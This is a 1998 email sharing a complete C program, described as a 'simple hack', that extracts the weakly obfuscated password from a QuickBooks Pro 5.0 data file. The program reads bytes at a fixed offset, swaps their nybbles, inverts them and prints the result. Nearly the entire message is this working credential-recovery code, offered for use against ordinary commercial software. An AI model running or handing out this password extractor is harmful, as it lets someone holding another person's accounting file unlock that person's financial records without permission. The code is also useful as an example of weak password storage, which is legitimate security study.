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- From: Eric Blossom
- Sent: Tuesday, August 18, 1998 6:25 PM
- Subject: Here's code that gets password for QuickBooks Pro
-
- Hi,
-
- Here's a simple hack that extracts the not very cleverly hidden password
- stored in QuickBooks. I've only tested it with QuickBooks Pro version 5.0.
-
- Enjoy,
- Eric
-
- /* -*-C-*-
- ****************************************************************************
- ***
- *
- * File: get-qb-pw.c
- * RCS: $Id: $
- * Description: get the "quick books pro" password
- * Author: Eric Blossom
- * Created: Tue Aug 18 14:09:30 1998
- * Modified: Tue Aug 18 17:39:22 1998 (eric) eb@starium.com
- * Language: C
- * Package: N/A
- * Status: Experimental (Do Not Distribute)
- *
- ****************************************************************************
- ***
- */
-
- /*
- * This has been tested only on QuickBooks Pro version 5.0
- */
-
- #include <stdio.h>
-
- main (int argc, char **argv)
- {
- FILE *fp;
- int i;
- unsigned char raw[10];
-
- if (argc != 2){
- fprintf (stderr, "usage: get-qb-pw filename\n");
- exit (1);
- }
-
- if ((fp = fopen (argv[1], "rb")) == 0){
- perror (argv[0]);
- exit (1);
- }
-
-
- if (fseek (fp, 7635, SEEK_SET) != 0){
- perror ("fseek failed");
- exit (1);
- }
-
- if (fread (raw, 1, 10, fp) != 10){
- perror ("fread failed");
- exit (1);
- }
-
- for (i = 9; i >= 0; i--){
- int t;
-
- if (raw[i] == 0)
- continue;
-
- t = ((raw[i] & 0xf) << 4) | ((raw[i] >> 4) & 0xf); /* swap nybbles */
- putchar (-t + 255);
- }
-
- putchar ('\n');
- }
-